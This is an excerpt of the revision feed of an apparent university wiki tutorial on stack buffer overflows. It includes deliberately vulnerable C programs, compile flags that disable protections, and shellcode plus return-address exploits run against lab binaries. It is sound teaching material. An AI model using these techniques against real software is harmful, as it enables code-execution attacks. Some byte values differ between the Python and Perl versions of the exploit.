		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17006"/>
		<updated>2024-12-11T18:13:17Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.&lt;br /&gt;
&lt;br /&gt;
=== Example 1 ===&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 2 ===&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
=== Example 3: Control Flow Alteration by Stack Buffer Overflow Exploitation ===&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17005</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17005"/>
		<updated>2024-12-11T18:12:28Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.&lt;br /&gt;
&lt;br /&gt;
Install gcc-multilib and gdb using apt. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
sudo apt install gdb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 1 ===&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 2 ===&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
